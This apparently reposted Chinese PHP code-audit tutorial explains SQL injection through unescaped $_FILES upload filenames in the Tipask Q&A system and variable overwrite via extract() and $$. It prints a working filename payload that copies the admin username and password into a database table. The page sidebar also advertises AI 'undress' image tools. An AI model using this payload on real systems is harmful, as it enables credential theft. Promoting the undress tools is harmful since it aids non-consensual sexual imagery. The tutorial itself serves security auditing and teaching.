Inhaltsverzeichnis
0x01 背景
盲点如下:
0x02 漏洞分析
FILES注入
$$变量覆盖
Heim Backend-Entwicklung PHP-Tutorial 【PHP代码审计】那些年我们一起挖掘SQL注入-8.全局防护盲点的总结下篇

【PHP代码审计】那些年我们一起挖掘SQL注入-8.全局防护盲点的总结下篇

Jun 20, 2016 pm 12:25 PM

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇 http://www.waitalone.cn/php-code-audit-6.html ,这里介绍另外两种情况。

盲点如下:

①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;

②变量覆盖,危险函数:extract()、parse_str()、$$。

0x02 漏洞分析

FILES注入

FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统

首先看看它的全局防护是怎么处理的:

index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ...        $this->get = taddslashes($this->get, 1);        $this->post = taddslashes(array_merge($_GET, $_POST));        checkattack($this->post, 'post');        checkattack($this->get, 'get');        unset($_POST);    }
Nach dem Login kopieren

可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

<?phpfunction onupload() {	//上传配置	$config = array(		"uploadPath" => "data/attach/", //保存路径		"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式		"fileSize" => 10 //文件大小限制,单位MB	);	//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜	$state = "SUCCESS";	$clientFile = $_FILES["upfile"];	if (!isset($clientFile)) {		echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size		exit;	}	//格式验证	$current_type = strtolower(strrchr($clientFile["name"], '.'));	if (!in_array($current_type, $config['fileType'])) {		$state = "不支持的文件类型!";	}	//大小验证	$file_size = 1024 * 1024 * $config['fileSize'];	if ($clientFile["size"] > $file_size) {		$state = "文件大小超出限制!";	}	//保存文件	if ($state == "SUCCESS") {		$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');		$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);		if (!$result) {			$state = "文件保存失败!";		} else {			//这里将上传的文件名带入数据库查询			$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);		}	}    //向浏览器返回数据json数据	echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
Nach dem Login kopieren

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) {	$uid=$this->base->user['uid'];	$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");	return $this->db->insert_id();}
Nach dem Login kopieren

上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"

数据库里成功将管理员账户密码插入到attach表中:

变量覆盖

出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。

<?php$a=222333;@extract($_POST);print_r($a);
Nach dem Login kopieren

浏览器里post直接传a=1发现成功覆盖了变量a的值

目前看乌云的案例 http://www.wooyun.org/bugs/wooyun-2014-053189 是出现在覆盖表前缀上。

$$变量覆盖

原理其实跟上面一样,有个很经典的$$变量覆盖的代码:

<?php$a=22333;foreach(array('_COOKIE','_POST','_GET') as $_request){	foreach($$_request as $_key=>$_value){		$$_key = addslashes($_value);	}}echo $a;
Nach dem Login kopieren

测试发现成功覆盖了变量a

案例: http://www.wooyun.org/bugs/wooyun-2010-055338

原文转自: http://www.cnbraid.com/2016/05/31/sql7/

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Arbeiten mit Flash -Sitzungsdaten in Laravel Arbeiten mit Flash -Sitzungsdaten in Laravel Mar 12, 2025 pm 05:08 PM

Laravel vereinfacht die Behandlung von temporären Sitzungsdaten mithilfe seiner intuitiven Flash -Methoden. Dies ist perfekt zum Anzeigen von kurzen Nachrichten, Warnungen oder Benachrichtigungen in Ihrer Anwendung. Die Daten bestehen nur für die nachfolgende Anfrage standardmäßig: $ Anfrage-

PHP -Protokollierung: Best Practices für die PHP -Protokollanalyse PHP -Protokollierung: Best Practices für die PHP -Protokollanalyse Mar 10, 2025 pm 02:32 PM

Die PHP -Protokollierung ist für die Überwachung und Debugie von Webanwendungen von wesentlicher Bedeutung sowie für das Erfassen kritischer Ereignisse, Fehler und Laufzeitverhalten. Es bietet wertvolle Einblicke in die Systemleistung, hilft bei der Identifizierung von Problemen und unterstützt eine schnellere Fehlerbehebung

Curl in PHP: So verwenden Sie die PHP -Curl -Erweiterung in REST -APIs Curl in PHP: So verwenden Sie die PHP -Curl -Erweiterung in REST -APIs Mar 14, 2025 am 11:42 AM

Die PHP Client -URL -Erweiterung (CURL) ist ein leistungsstarkes Tool für Entwickler, das eine nahtlose Interaktion mit Remote -Servern und REST -APIs ermöglicht. Durch die Nutzung von Libcurl, einer angesehenen Bibliothek mit Multi-Protokoll-Dateien, erleichtert PHP Curl effiziente Execu

Vereinfachte HTTP -Reaktion verspottet in Laravel -Tests Vereinfachte HTTP -Reaktion verspottet in Laravel -Tests Mar 12, 2025 pm 05:09 PM

Laravel bietet eine kurze HTTP -Antwortsimulationssyntax und vereinfache HTTP -Interaktionstests. Dieser Ansatz reduziert die Code -Redundanz erheblich, während Ihre Testsimulation intuitiver wird. Die grundlegende Implementierung bietet eine Vielzahl von Verknüpfungen zum Antworttyp: Verwenden Sie Illuminate \ Support \ facades \ http; Http :: fake ([ 'Google.com' => 'Hallo Welt',, 'github.com' => ['foo' => 'bar'], 'Forge.laravel.com' =>

12 Beste PHP -Chat -Skripte auf Codecanyon 12 Beste PHP -Chat -Skripte auf Codecanyon Mar 13, 2025 pm 12:08 PM

Möchten Sie den dringlichsten Problemen Ihrer Kunden in Echtzeit und Sofortlösungen anbieten? Mit Live-Chat können Sie Echtzeitgespräche mit Kunden führen und ihre Probleme sofort lösen. Sie ermöglichen es Ihnen, Ihrem Brauch einen schnelleren Service zu bieten

Erklären Sie das Konzept der späten statischen Bindung in PHP. Erklären Sie das Konzept der späten statischen Bindung in PHP. Mar 21, 2025 pm 01:33 PM

In Artikel wird die in PHP 5.3 eingeführte LSB -Bindung (LSB) erörtert, die die Laufzeitauflösung der statischen Methode ermöglicht, um eine flexiblere Vererbung zu erfordern. Die praktischen Anwendungen und potenziellen Perfo von LSB

Anpassung/Erweiterung von Frameworks: So fügen Sie benutzerdefinierte Funktionen hinzu. Anpassung/Erweiterung von Frameworks: So fügen Sie benutzerdefinierte Funktionen hinzu. Mar 28, 2025 pm 05:12 PM

In dem Artikel werden Frameworks hinzugefügt, das sich auf das Verständnis der Architektur, das Identifizieren von Erweiterungspunkten und Best Practices für die Integration und Debuggierung hinzufügen.

See all articles